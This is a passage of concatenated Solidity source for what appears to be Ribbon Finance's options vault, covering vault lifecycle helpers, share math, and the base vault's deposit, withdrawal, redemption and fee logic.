IController.ActionArgs[](1); actions[0] = IController.ActionArgs( IController.ActionType.SettleVault, address(this), // owner address(this), // address to transfer to address(0), // not used vaultID, // vaultId 0, // not used 0, // not used "" // not used ); controller.operate(actions); uint256 endCollateralBalance = collateralToken.balanceOf(address(this)); return endCollateralBalance.sub(startCollateralBalance); } /** * @notice Exercises the ITM option using existing long otoken position. Currently this implementation is simple. * It calls the `Redeem` action to claim the payout. * @param gammaController is the address of the opyn controller contract * @param oldOption is the address of the old option * @param asset is the address of the vault's asset * @return amount of asset received by exercising the option */ function settleLong( address gammaController, address oldOption, address asset ) external returns (uint256) { IController controller = IController(gammaController); uint256 oldOptionBalance = IERC20(oldOption).balanceOf(address(this)); if (controller.getPayout(oldOption, oldOptionBalance) == 0) { return 0; } uint256 startAssetBalance = IERC20(asset).balanceOf(address(this)); // If it is after expiry, we need to redeem the profits IController.ActionArgs[] memory actions = new IController.ActionArgs[](1); actions[0] = IController.ActionArgs( IController.ActionType.Redeem, address(0), // not used address(this), // address to send profits to oldOption, // address of otoken 0, // not used oldOptionBalance, // otoken balance 0, // not used "" // not used ); controller.operate(actions); uint256 endAssetBalance = IERC20(asset).balanceOf(address(this)); return endAssetBalance.sub(startAssetBalance); } /** * @notice Burn the remaining oTokens left over from auction. Currently this implementation is simple. * It burns oTokens from the most recent vault opened by the contract. This assumes that the contract will * only have a single vault open at any given time. * @param gammaController is the address of the opyn controller contract * @param currentOption is the address of the current option * @return amount of collateral redeemed by burning otokens */ function burnOtokens(address gammaController, address currentOption) external returns (uint256) { uint256 numOTokensToBurn = IERC20(currentOption).balanceOf(address(this)); require(numOTokensToBurn > 0, "No oTokens to burn"); IController controller = IController(gammaController); // gets the currently active vault ID uint256 vaultID = controller.getAccountVaultCounter(address(this)); GammaTypes.Vault memory vault = controller.getVault(address(this), vaultID); require(vault.shortOtokens.length > 0, "No short"); IERC20 collateralToken = IERC20(vault.collateralAssets[0]); uint256 startCollateralBalance = collateralToken.balanceOf(address(this)); // Burning `amount` of oTokens from the ribbon vault, // then withdrawing the corresponding collateral amount from the vault IController.ActionArgs[] memory actions = new IController.ActionArgs[](2); actions[0] = IController.ActionArgs( IController.ActionType.BurnShortOption, address(this), // owner address(this), // address to transfer from address(vault.shortOtokens[0]), // otoken address vaultID, // vaultId numOTokensToBurn, // amount 0, //index "" //data ); actions[1] = IController.ActionArgs( IController.ActionType.WithdrawCollateral, address(this), // owner address(this), // address to transfer to address(collateralToken), // withdrawn asset vaultID, // vaultId vault.collateralAmounts[0].mul(numOTokensToBurn).div( vault.shortAmounts[0] ), // amount 0, //index "" //data ); controller.operate(actions); uint256 endCollateralBalance = collateralToken.balanceOf(address(this)); return endCollateralBalance.sub(startCollateralBalance); } /** * @notice Calculates the performance and management fee for this week's round * @param currentBalance is the balance of funds held on the vault after closing short * @param lastLockedAmount is the amount of funds locked from the previous round * @param pendingAmount is the pending deposit amount * @param performanceFeePercent is the performance fee pct. * @param managementFeePercent is the management fee pct. * @return performanceFeeInAsset is the performance fee * @return managementFeeInAsset is the management fee * @return vaultFee is the total fees */ function getVaultFees( uint256 currentBalance, uint256 lastLockedAmount, uint256 pendingAmount, uint256 performanceFeePercent, uint256 managementFeePercent ) internal pure returns ( uint256 performanceFeeInAsset, uint256 managementFeeInAsset, uint256 vaultFee ) { // At the first round, currentBalance=0, pendingAmount>0 // so we just do not charge anything on the first round uint256 lockedBalanceSansPending = currentBalance > pendingAmount ? currentBalance.sub(pendingAmount) : 0; uint256 _performanceFeeInAsset; uint256 _managementFeeInAsset; uint256 _vaultFee; // Take performance fee and management fee ONLY if difference between // last week and this week's vault deposits, taking into account pending // deposits and withdrawals, is positive. If it is negative, last week's // option expired ITM past breakeven, and the vault took a loss so we // do not collect performance fee for last week if (lockedBalanceSansPending > lastLockedAmount) { _performanceFeeInAsset = performanceFeePercent > 0 ? lockedBalanceSansPending .sub(lastLockedAmount) .mul(performanceFeePercent) .div(100 * Vault.FEE_MULTIPLIER) : 0; _managementFeeInAsset = managementFeePercent > 0 ? lockedBalanceSansPending.mul(managementFeePercent).div( 100 * Vault.FEE_MULTIPLIER ) : 0; _vaultFee = _performanceFeeInAsset.add(_managementFeeInAsset); } return (_performanceFeeInAsset, _managementFeeInAsset, _vaultFee); } /** * @notice Either retrieves the option token if it already exists, or deploy it * @param closeParams is the struct with details on previous option and strike selection details * @param vaultParams is the struct with vault general data * @param underlying is the address of the underlying asset of the option * @param collateralAsset is the address of the collateral asset of the option * @param strikePrice is the strike price of the option * @param expiry is the expiry timestamp of the option * @param isPut is whether the option is a put * @return the address of the option */ function getOrDeployOtoken( CloseParams calldata closeParams, Vault.VaultParams storage vaultParams, address underlying, address collateralAsset, uint256 strikePrice, uint256 expiry, bool isPut ) internal returns (address) { IOtokenFactory factory = IOtokenFactory(closeParams.OTOKEN_FACTORY); address otokenFromFactory = factory.getOtoken( underlying, closeParams.USDC, collateralAsset, strikePrice, expiry, isPut ); if (otokenFromFactory != address(0)) { return otokenFromFactory; } address otoken = factory.createOtoken( underlying, closeParams.USDC, collateralAsset, strikePrice, expiry, isPut ); verifyOtoken( otoken, vaultParams, collateralAsset, closeParams.USDC, closeParams.delay ); return otoken; } /** * @notice Starts the gnosis auction * @param auctionDetails is the struct with all the custom parameters of the auction * @return the auction id of the newly created auction */ function startAuction(GnosisAuction.AuctionDetails calldata auctionDetails) external returns (uint256) { return GnosisAuction.startAuction(auctionDetails); } /** * @notice Settles the gnosis auction * @param gnosisEasyAuction is the contract address of Gnosis easy auction protocol * @param auctionID is the auction ID of the gnosis easy auction */ function settleAuction(address gnosisEasyAuction, uint256 auctionID) internal { IGnosisAuction(gnosisEasyAuction).settleAuction(auctionID); } /** * @notice Swaps tokens using UniswapV3 router * @param tokenIn is the token address to swap * @param minAmountOut is the minimum acceptable amount of tokenOut received from swap * @param router is the contract address of UniswapV3 router * @param swapPath is the swap path e.g. encodePacked(tokenIn, poolFee, tokenOut) */ function swap( address tokenIn, uint256 minAmountOut, address router, bytes calldata swapPath ) external { uint256 balance = IERC20(tokenIn).balanceOf(address(this)); if (balance > 0) { UniswapRouter.swap( address(this), tokenIn, balance, minAmountOut, router, swapPath ); } } function checkPath( bytes calldata swapPath, address validTokenIn, address validTokenOut, address uniswapFactory ) external view returns (bool isValidPath) { return UniswapRouter.checkPath( swapPath, validTokenIn, validTokenOut, uniswapFactory ); } /** * @notice Places a bid in an auction * @param bidDetails is the struct with all the details of the bid including the auction's id and how much to bid */ function placeBid(GnosisAuction.BidDetails calldata bidDetails) external returns ( uint256 sellAmount, uint256 buyAmount, uint64 userId ) { return GnosisAuction.placeBid(bidDetails); } /** * @notice Claims the oTokens belonging to the vault * @param auctionSellOrder is the sell order of the bid * @param gnosisEasyAuction is the address of the gnosis auction contract holding custody to the funds * @param counterpartyThetaVault is the address of the counterparty theta vault of this delta vault */ function claimAuctionOtokens( Vault.AuctionSellOrder calldata auctionSellOrder, address gnosisEasyAuction, address counterpartyThetaVault ) external { GnosisAuction.claimAuctionOtokens( auctionSellOrder, gnosisEasyAuction, counterpartyThetaVault ); } /** * @notice Verify the constructor params satisfy requirements * @param owner is the owner of the vault with critical permissions * @param feeRecipient is the address to recieve vault performance and management fees * @param performanceFee is the perfomance fee pct. * @param tokenName is the name of the token * @param tokenSymbol is the symbol of the token * @param _vaultParams is the struct with vault general data */ function verifyInitializerParams( address owner, address keeper, address feeRecipient, uint256 performanceFee, uint256 managementFee, string calldata tokenName, string calldata tokenSymbol, Vault.VaultParams calldata _vaultParams ) external pure { require(owner != address(0), "!owner"); require(keeper != address(0), "!keeper"); require(feeRecipient != address(0), "!feeRecipient"); require( performanceFee < 100 * Vault.FEE_MULTIPLIER, "performanceFee >= 100%" ); require( managementFee < 100 * Vault.FEE_MULTIPLIER, "managementFee >= 100%" ); require(bytes(tokenName).length > 0, "!tokenName"); require(bytes(tokenSymbol).length > 0, "!tokenSymbol"); require(_vaultParams.asset != address(0), "!asset"); require(_vaultParams.underlying != address(0), "!underlying"); require(_vaultParams.minimumSupply > 0, "!minimumSupply"); require(_vaultParams.cap > 0, "!cap"); require( _vaultParams.cap > _vaultParams.minimumSupply, "cap has to be higher than minimumSupply" ); } /** * @notice Gets the next option expiry timestamp * @param currentOption is the otoken address that the vault is currently writing */ function getNextExpiry(address currentOption) internal view returns (uint256) { // uninitialized state if (currentOption == address(0)) { return getNextFriday(block.timestamp); } uint256 currentExpiry = IOtoken(currentOption).expiryTimestamp(); // After options expiry if no options are written for >1 week // We need to give the ability continue writing options if (block.timestamp > currentExpiry + 7 days) { return getNextFriday(block.timestamp); } return getNextFriday(currentExpiry); } /** * @notice Gets the next options expiry timestamp * @param timestamp is the expiry timestamp of the current option * Reference: https://codereview.stackexchange.com/a/33532 * Examples: * getNextFriday(week 1 thursday) -> week 1 friday * getNextFriday(week 1 friday) -> week 2 friday * getNextFriday(week 1 saturday) -> week 2 friday */ function getNextFriday(uint256 timestamp) internal pure returns (uint256) { // dayOfWeek = 0 (sunday) - 6 (saturday) uint256 dayOfWeek = ((timestamp / 1 days) + 4) % 7; uint256 nextFriday = timestamp + ((7 + 5 - dayOfWeek) % 7) * 1 days; uint256 friday8am = nextFriday - (nextFriday % (24 hours)) + (8 hours); // If the passed timestamp is day=Friday hour>8am, we simply increment it by a week to next Friday if (timestamp >= friday8am) { friday8am += 7 days; } return friday8am; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {Vault} from "./Vault.sol"; library ShareMath { using SafeMath for uint256; uint256 internal constant PLACEHOLDER_UINT = 1; function assetToShares( uint256 assetAmount, uint256 assetPerShare, uint256 decimals ) internal pure returns (uint256) { // If this throws, it means that vault's roundPricePerShare[currentRound] has not been set yet // which should never happen. // Has to be larger than 1 because `1` is used in `initRoundPricePerShares` to prevent cold writes. require(assetPerShare > PLACEHOLDER_UINT, "Invalid assetPerShare"); return assetAmount.mul(10**decimals).div(assetPerShare); } function sharesToAsset( uint256 shares, uint256 assetPerShare, uint256 decimals ) internal pure returns (uint256) { // If this throws, it means that vault's roundPricePerShare[currentRound] has not been set yet // which should never happen. // Has to be larger than 1 because `1` is used in `initRoundPricePerShares` to prevent cold writes. require(assetPerShare > PLACEHOLDER_UINT, "Invalid assetPerShare"); return shares.mul(assetPerShare).div(10**decimals); } /** * @notice Returns the shares unredeemed by the user given their DepositReceipt * @param depositReceipt is the user's deposit receipt * @param currentRound is the `round` stored on the vault * @param assetPerShare is the price in asset per share * @param decimals is the number of decimals the asset/shares use * @return unredeemedShares is the user's virtual balance of shares that are owed */ function getSharesFromReceipt( Vault.DepositReceipt memory depositReceipt, uint256 currentRound, uint256 assetPerShare, uint256 decimals ) internal pure returns (uint256 unredeemedShares) { if (depositReceipt.round > 0 && depositReceipt.round < currentRound) { uint256 sharesFromRound = assetToShares(depositReceipt.amount, assetPerShare, decimals); return uint256(depositReceipt.unredeemedShares).add(sharesFromRound); } return depositReceipt.unredeemedShares; } function pricePerShare( uint256 totalSupply, uint256 totalBalance, uint256 pendingAmount, uint256 decimals ) internal pure returns (uint256) { uint256 singleShare = 10**decimals; return totalSupply > 0 ? singleShare.mul(totalBalance.sub(pendingAmount)).div( totalSupply ) : singleShare; } /************************************************ * HELPERS ***********************************************/ function assertUint104(uint256 num) internal pure { require(num <= type(uint104).max, "Overflow uint104"); } function assertUint128(uint256 num) internal pure { require(num <= type(uint128).max, "Overflow uint128"); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; interface ILiquidityGauge { function balanceOf(address) external view returns (uint256); function deposit( uint256 _value, address _addr, bool _claim_rewards ) external; } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { ERC20Upgradeable } from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {Vault} from "../../../libraries/Vault.sol"; import {VaultLifecycle} from "../../../libraries/VaultLifecycle.sol"; import {ShareMath} from "../../../libraries/ShareMath.sol"; import {IWETH} from "../../../interfaces/IWETH.sol"; contract RibbonVault is ReentrancyGuardUpgradeable, OwnableUpgradeable, ERC20Upgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using ShareMath for Vault.DepositReceipt; /************************************************ * NON UPGRADEABLE STORAGE ***********************************************/ /// @notice Stores the user's pending deposit for the round mapping(address => Vault.DepositReceipt) public depositReceipts; /// @notice On every round's close, the pricePerShare value of an rTHETA token is stored /// This is used to determine the number of shares to be returned /// to a user with their DepositReceipt.depositAmount mapping(uint256 => uint256) public roundPricePerShare; /// @notice Stores pending user withdrawals mapping(address => Vault.Withdrawal) public withdrawals; /// @notice Vault's parameters like cap, decimals Vault.VaultParams public vaultParams; /// @notice Vault's lifecycle state like round and locked amounts Vault.VaultState public vaultState; /// @notice Vault's state of the options sold and the timelocked option Vault.OptionState public optionState; /// @notice Fee recipient for the performance and management fees address public feeRecipient; /// @notice role in charge of weekly vault operations such as rollToNextOption and burnRemainingOTokens // no access to critical vault changes address public keeper; /// @notice Performance fee charged on premiums earned in rollToNextOption. Only charged when there is no loss. uint256 public performanceFee; /// @notice Management fee charged on entire AUM in rollToNextOption. Only charged when there is no loss. uint256 public managementFee; // Gap is left to avoid storage collisions. Though RibbonVault is not upgradeable, we add this as a safety measure. uint256[30] private ____gap; // *IMPORTANT* NO NEW STORAGE VARIABLES SHOULD BE ADDED HERE // This is to prevent storage collisions. All storage variables should be appended to RibbonThetaVaultStorage // or RibbonDeltaVaultStorage instead. Read this documentation to learn more: // https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#modifying-your-contracts /************************************************ * IMMUTABLES & CONSTANTS ***********************************************/ /// @notice WETH9 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 address public immutable WETH; /// @notice USDC 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 address public immutable USDC; /// @notice Deprecated: 15 minute timelock between commitAndClose and rollToNexOption. uint256 public constant DELAY = 0; /// @notice 7 day period between each options sale. uint256 public constant PERIOD = 7 days; // Number of weeks per year = 52.142857 weeks * FEE_MULTIPLIER = 52142857 // Dividing by weeks per year requires doing num.mul(FEE_MULTIPLIER).div(WEEKS_PER_YEAR) uint256 private constant WEEKS_PER_YEAR = 52142857; // GAMMA_CONTROLLER is the top-level contract in Gamma protocol // which allows users to perform multiple actions on their vaults // and positions https://github.com/opynfinance/GammaProtocol/blob/master/contracts/core/Controller.sol address public immutable GAMMA_CONTROLLER; // MARGIN_POOL is Gamma protocol's collateral pool. // Needed to approve collateral.safeTransferFrom for minting otokens. // https://github.com/opynfinance/GammaProtocol/blob/master/contracts/core/MarginPool.sol address public immutable MARGIN_POOL; // GNOSIS_EASY_AUCTION is Gnosis protocol's contract for initiating auctions and placing bids // https://github.com/gnosis/ido-contracts/blob/main/contracts/EasyAuction.sol address public immutable GNOSIS_EASY_AUCTION; // UNISWAP_ROUTER is the contract address of UniswapV3 Router which handles swaps // https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/ISwapRouter.sol address public immutable UNISWAP_ROUTER; // UNISWAP_FACTORY is the contract address of UniswapV3 Factory which stores pool information // https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol address public immutable UNISWAP_FACTORY; /************************************************ * EVENTS ***********************************************/ event Deposit(address indexed account, uint256 amount, uint256 round); event InitiateWithdraw( address indexed account, uint256 shares, uint256 round ); event Redeem(address indexed account, uint256 share, uint256 round); event ManagementFeeSet(uint256 managementFee, uint256 newManagementFee); event PerformanceFeeSet(uint256 performanceFee, uint256 newPerformanceFee); event CapSet(uint256 oldCap, uint256 newCap); event Withdraw(address indexed account, uint256 amount, uint256 shares); event CollectVaultFees( uint256 performanceFee, uint256 vaultFee, uint256 round, address indexed feeRecipient ); /************************************************ * CONSTRUCTOR & INITIALIZATION ***********************************************/ /** * @notice Initializes the contract with immutable variables * @param _weth is the Wrapped Ether contract * @param _usdc is the USDC contract * @param _gammaController is the contract address for opyn actions * @param _marginPool is the contract address for providing collateral to opyn * @param _gnosisEasyAuction is the contract address that facilitates gnosis auctions * @param _uniswapRouter is the contract address for UniswapV3 router which handles swaps * @param _uniswapFactory is the contract address for UniswapV3 factory */ constructor( address _weth, address _usdc, address _gammaController, address _marginPool, address _gnosisEasyAuction, address _uniswapRouter, address _uniswapFactory ) { require(_weth != address(0), "!_weth"); require(_usdc != address(0), "!_usdc"); require(_gnosisEasyAuction != address(0), "!_gnosisEasyAuction"); require(_gammaController != address(0), "!_gammaController"); require(_marginPool != address(0), "!_marginPool"); require(_uniswapRouter != address(0), "!_uniswapRouter"); require(_uniswapFactory != address(0), "!_uniswapFactory"); WETH = _weth; USDC = _usdc; GAMMA_CONTROLLER = _gammaController; MARGIN_POOL = _marginPool; GNOSIS_EASY_AUCTION = _gnosisEasyAuction; UNISWAP_ROUTER = _uniswapRouter; UNISWAP_FACTORY = _uniswapFactory; } /** * @notice Initializes the OptionVault contract with storage variables. */ function baseInitialize( address _owner, address _keeper, address _feeRecipient, uint256 _managementFee, uint256 _performanceFee, string memory _tokenName, string memory _tokenSymbol, Vault.VaultParams calldata _vaultParams ) internal initializer { VaultLifecycle.verifyInitializerParams( _owner, _keeper, _feeRecipient, _performanceFee, _managementFee, _tokenName, _tokenSymbol, _vaultParams ); __ReentrancyGuard_init(); __ERC20_init(_tokenName, _tokenSymbol); __Ownable_init(); transferOwnership(_owner); keeper = _keeper; feeRecipient = _feeRecipient; performanceFee = _performanceFee; managementFee = _managementFee.mul(Vault.FEE_MULTIPLIER).div( WEEKS_PER_YEAR ); vaultParams = _vaultParams; uint256 assetBalance = IERC20(vaultParams.asset).balanceOf(address(this)); ShareMath.assertUint104(assetBalance); vaultState.lastLockedAmount = uint104(assetBalance); vaultState.round = 1; } /** * @dev Throws if called by any account other than the keeper. */ modifier onlyKeeper() { require(msg.sender == keeper, "!keeper"); _; } /************************************************ * SETTERS ***********************************************/ /** * @notice Sets the new keeper * @param newKeeper is the address of the new keeper */ function setNewKeeper(address newKeeper) external onlyOwner { require(newKeeper != address(0), "!newKeeper"); keeper = newKeeper; } /** * @notice Sets the new fee recipient * @param newFeeRecipient is the address of the new fee recipient */ function setFeeRecipient(address newFeeRecipient) external onlyOwner { require(newFeeRecipient != address(0), "!newFeeRecipient"); require(newFeeRecipient != feeRecipient, "Must be new feeRecipient"); feeRecipient = newFeeRecipient; } /** * @notice Sets the management fee for the vault * @param newManagementFee is the management fee (6 decimals). ex: 2 * 10 ** 6 = 2% */ function setManagementFee(uint256 newManagementFee) external onlyOwner { require( newManagementFee < 100 * Vault.FEE_MULTIPLIER, "Invalid management fee" ); // We are dividing annualized management fee by num weeks in a year uint256 tmpManagementFee = newManagementFee.mul(Vault.FEE_MULTIPLIER).div(WEEKS_PER_YEAR); emit ManagementFeeSet(managementFee, newManagementFee); managementFee = tmpManagementFee; } /** * @notice Sets the performance fee for the vault * @param newPerformanceFee is the performance fee (6 decimals). ex: 20 * 10 ** 6 = 20% */ function setPerformanceFee(uint256 newPerformanceFee) external onlyOwner { require( newPerformanceFee < 100 * Vault.FEE_MULTIPLIER, "Invalid performance fee" ); emit PerformanceFeeSet(performanceFee, newPerformanceFee); performanceFee = newPerformanceFee; } /** * @notice Sets a new cap for deposits * @param newCap is the new cap for deposits */ function setCap(uint256 newCap) external onlyOwner { require(newCap > 0, "!newCap"); ShareMath.assertUint104(newCap); emit CapSet(vaultParams.cap, newCap); vaultParams.cap = uint104(newCap); } /************************************************ * DEPOSIT & WITHDRAWALS ***********************************************/ /** * @notice Deposits ETH into the contract and mint vault shares. Reverts if the asset is not WETH. */ function depositETH() external payable nonReentrant { require(vaultParams.asset == WETH, "!WETH"); require(msg.value > 0, "!value"); _depositFor(msg.value, msg.sender); IWETH(WETH).deposit{value: msg.value}(); } /** * @notice Deposits the `asset` from msg.sender. * @param amount is the amount of `asset` to deposit */ function deposit(uint256 amount) external nonReentrant { require(amount > 0, "!amount"); _depositFor(amount, msg.sender); // An approve() by the msg.sender is required beforehand IERC20(vaultParams.asset).safeTransferFrom( msg.sender, address(this), amount ); } /** * @notice Deposits the `asset` from msg.sender added to `creditor`'s deposit. * @notice Used for vault -> vault deposits on the user's behalf * @param amount is the amount of `asset` to deposit * @param creditor is the address that can claim/withdraw deposited amount */ function depositFor(uint256 amount, address creditor) external nonReentrant { require(amount > 0, "!amount"); require(creditor != address(0)); _depositFor(amount, creditor); // An approve() by the msg.sender is required beforehand IERC20(vaultParams.asset).safeTransferFrom( msg.sender, address(this), amount ); } /** * @notice Mints the vault shares to the creditor * @param amount is the amount of `asset` deposited * @param creditor is the address to receieve the deposit */ function _depositFor(uint256 amount, address creditor) private { uint256 currentRound = vaultState.round; uint256 totalWithDepositedAmount = totalBalance().add(amount); require(totalWithDepositedAmount <= vaultParams.cap, "Exceed cap"); require( totalWithDepositedAmount >= vaultParams.minimumSupply, "Insufficient balance" ); emit Deposit(creditor, amount, currentRound); Vault.DepositReceipt memory depositReceipt = depositReceipts[creditor]; // If we have an unprocessed pending deposit from the previous rounds, we have to process it. uint256 unredeemedShares = depositReceipt.getSharesFromReceipt( currentRound, roundPricePerShare[depositReceipt.round], vaultParams.decimals ); uint256 depositAmount = amount; // If we have a pending deposit in the current round, we add on to the pending deposit if (currentRound == depositReceipt.round) { uint256 newAmount = uint256(depositReceipt.amount).add(amount); depositAmount = newAmount; } ShareMath.assertUint104(depositAmount); depositReceipts[creditor] = Vault.DepositReceipt({ round: uint16(currentRound), amount: uint104(depositAmount), unredeemedShares: uint128(unredeemedShares) }); uint256 newTotalPending = uint256(vaultState.totalPending).add(amount); ShareMath.assertUint128(newTotalPending); vaultState.totalPending = uint128(newTotalPending); } /** * @notice Initiates a withdrawal that can be processed once the round completes * @param numShares is the number of shares to withdraw */ function initiateWithdraw(uint256 numShares) external nonReentrant { require(numShares > 0, "!numShares"); // We do a max redeem before initiating a withdrawal // But we check if they must first have unredeemed shares if ( depositReceipts[msg.sender].amount > 0 || depositReceipts[msg.sender].unredeemedShares > 0 ) { _redeem(0, true); } // This caches the `round` variable used in shareBalances uint256 currentRound = vaultState.round; Vault.Withdrawal storage withdrawal = withdrawals[msg.sender]; bool withdrawalIsSameRound = withdrawal.round == currentRound; emit InitiateWithdraw(msg.sender, numShares, currentRound); uint256 existingShares = uint256(withdrawal.shares); uint256 withdrawalShares; if (withdrawalIsSameRound) { withdrawalShares = existingShares.add(numShares); } else { require(existingShares == 0, "Existing withdraw"); withdrawalShares = numShares; withdrawals[msg.sender].round = uint16(currentRound); } ShareMath.assertUint128(withdrawalShares); withdrawals[msg.sender].shares = uint128(withdrawalShares); uint256 newQueuedWithdrawShares = uint256(vaultState.queuedWithdrawShares).add(numShares); ShareMath.assertUint128(newQueuedWithdrawShares); vaultState.queuedWithdrawShares = uint128(newQueuedWithdrawShares); _transfer(msg.sender, address(this), numShares); } /** * @notice Completes a scheduled withdrawal from a past round. Uses finalized pps for the round * @return withdrawAmount the current withdrawal amount */ function _completeWithdraw() internal returns (uint256) { Vault.Withdrawal storage withdrawal = withdrawals[msg.sender]; uint256 withdrawalShares = withdrawal.shares; uint256 withdrawalRound = withdrawal.round; // This checks if there is a withdrawal require(withdrawalShares > 0, "Not initiated"); require(withdrawalRound < vaultState.round, "Round not closed"); // We leave the round number as non-zero to save on gas for subsequent writes withdrawals[msg.sender].shares = 0; vaultState.queuedWithdrawShares = uint128( uint256(vaultState.queuedWithdrawShares).sub(withdrawalShares) ); uint256 withdrawAmount = ShareMath.sharesToAsset( withdrawalShares, roundPricePerShare[withdrawalRound], vaultParams.decimals ); emit Withdraw(msg.sender, withdrawAmount, withdrawalShares); _burn(address(this), withdrawalShares); require(withdrawAmount > 0, "!withdrawAmount"); transferAsset(msg.sender, withdrawAmount); return withdrawAmount; } /** * @notice Redeems shares that are owed to the account * @param numShares is the number of shares to redeem */ function redeem(uint256 numShares) external nonReentrant { require(numShares > 0, "!numShares"); _redeem(numShares, false); } /** * @notice Redeems the entire unredeemedShares balance that is owed to the account */ function maxRedeem() external nonReentrant { _redeem(0, true); } /** * @notice Redeems shares that are owed to the account * @param numShares is the number of shares to redeem, could be 0 when isMax=true * @param isMax is flag for when callers do a max redemption */ function _redeem(uint256 numShares, bool isMax) internal { Vault.DepositReceipt memory depositReceipt = depositReceipts[msg.sender]; // This handles the null case when depositReceipt.round = 0 // Because we start with round = 1 at `initialize` uint256 currentRound = vaultState.round; uint256 unredeemedShares = depositReceipt.getSharesFromReceipt( currentRound, roundPricePerShare[depositReceipt.round], vaultParams.decimals ); numShares = isMax ? unredeemedShares : numShares; if (numShares == 0) { return; } require(numShares <= unredeemedShares, "Exceeds available"); // If we have a depositReceipt on the same round, BUT we have some unredeemed shares // we debit from the unredeemedShares, but leave the amount field intact // If the round has past, with no new deposits, we just zero it out for new deposits. if (depositReceipt.round < currentRound) { depositReceipts[msg.sender].amount = 0; } ShareMath.assertUint128(numShares); depositReceipts[msg.sender].unredeemedShares = uint128( unredeemedShares.sub(numShares) ); emit Redeem(msg.sender, numShares, depositReceipt.round); _transfer(address(this), msg.sender, numShares); } /************************************************ * VAULT OPERATIONS ***********************************************/ /* * @notice Helper function that helps to save gas for writing values into the roundPricePerShare map. * Writing `1` into the map makes subsequent writes warm, reducing the gas from 20k to 5k. * Having 1 initialized beforehand will not be an issue as long as we round down share calculations to 0. * @param numRounds is the number of rounds to initialize in the map */ function initRounds(uint256 numRounds) external nonReentrant { require(numRounds > 0, "!numRounds"); uint256 _round = vaultState.round; for (uint256 i = 0; i < numRounds; i++) { uint256 index = _round + i; require(roundPricePerShare[index] == 0, "Initialized"); // AVOID OVERWRITING ACTUAL VALUES roundPricePerShare[index] = ShareMath.PLACEHOLDER_UINT; } } /* * @notice Helper function that performs most administrative tasks * such as setting next option, minting new shares, getting vault fees, etc. * @param lastQueuedWithdrawAmount is old queued withdraw amount * @return newOption is the new option address * @return lockedBalance is the new balance used to calculate next option purchase size or collateral size * @return queuedWithdrawAmount is the new queued withdraw amount for this round */ function _rollToNextOption(uint256 lastQueuedWithdrawAmount) internal returns ( address newOption, uint256 lockedBalance, uint256 queuedWithdrawAmount ) { require(block.timestamp >= optionState.nextOptionReadyAt, "!ready"); newOption = optionState.nextOption; require(newOption != address(0), "!nextOption"); address recipient = feeRecipient; uint256 mintShares; uint256 performanceFeeInAsset; uint256 totalVaultFee; { uint256 newPricePerShare; ( lockedBalance, queuedWithdrawAmount, newPricePerShare, mintShares, performanceFeeInAsset, totalVaultFee ) = VaultLifecycle.rollover( vaultState, VaultLifecycle.RolloverParams( vaultParams.decimals, IERC20(vaultParams.asset).balanceOf(address(this)), totalSupply(), lastQueuedWithdrawAmount, performanceFee, managementFee ) ); optionState.currentOption = newOption; optionState.nextOption = address(0); // Finalize the pricePerShare at the end of the round uint256 currentRound = vaultState.round; roundPricePerShare[currentRound] = newPricePerShare; emit CollectVaultFees( performanceFeeInAsset, totalVaultFee, currentRound, recipient ); vaultState.totalPending = 0; vaultState.round = uint16(currentRound + 1); } _mint(address(this), mintShares); if (totalVaultFee > 0) { transferAsset(payable(recipient), totalVaultFee); } return (newOption, lockedBalance, queuedWithdrawAmount); } /** * @notice Helper function to make either an ETH transfer or ERC20 transfer * @param recipient is the receiving address * @param amount is the transfer amount */ function transferAsset(address recipient, uint256 amount) internal { address asset = vaultParams.asset; if (asset == WETH) { IWETH(WETH).withdraw(amount); (bool success, ) = recipient.call{value: amount}(""); require(success, "Transfer failed"); return; } IERC20(asset).safeTransfer(recipient, amount); } /************************************************ * GETTERS ***********************************************/ /** * @notice Returns the asset balance held on the vault for the account * @param account is the address to lookup balance for * @return the amount of `asset` custodied by the vault for the user */ function accountVaultBalance(address account) external view returns (uint256) { uint256 _decimals = vaultParams.decimals; uint256 assetPerShare = ShareMath.pricePerShare( totalSupply(), totalBalance(), vaultState.totalPending, _decimals ); return ShareMath.sharesToAsset(shares(account), assetPerShare, _decimals); } /** * @notice Getter for returning the account's share balance including unredeemed shares * @param account is the account to lookup share balance for * @return the share balance */ function shares(address account) public view returns (uint256) { (uint256 heldByAccount, uint256 heldByVault) = shareBalances(account); return heldByAccount.add(heldByVault); } /** * @notice Getter for returning the account's share balance split between account and vault holdings * @param account is the account to lookup share balance for * @return heldByAccount is the shares held by account * @return heldByVault is the shares held on the vault (unredeemedShares) */ function shareBalances(address account) public view returns (uint256 heldByAccount, uint256 heldByVault) { Vault.DepositReceipt memory depositReceipt = depositReceipts[account]; if (depositReceipt.round < ShareMath.PLACEHOLDER_UINT) { return (balanceOf(account), 0); } uint256 unredeemedShares = depositReceipt.getSharesFromReceipt( vaultState.round, roundPricePerShare[depositReceipt.round], vaultParams.decimals ); return (balanceOf(account), unredeemedShares); } /** * @notice The price of a unit of share denominated in the `asset` */ function pricePerShare() external view returns (uint256) { return ShareMath.pricePerShare( totalSupply(), totalBalance(), vaultState.totalPending, vaultParams.decimals ); } /** * @notice Returns the vault's total balance, including the amounts locked into a short position * @return total balance of the vault, including the amounts locked in third party protocols */ function totalBalance() public view returns (uint256) { return uint256(vaultState.lockedAmount).add( IERC20(vaultParams.asset).balanceOf(address(this)) ); } /** * @notice Returns the token decimals */ function decimals() public view override returns (uint8) { return vaultParams.decimals; 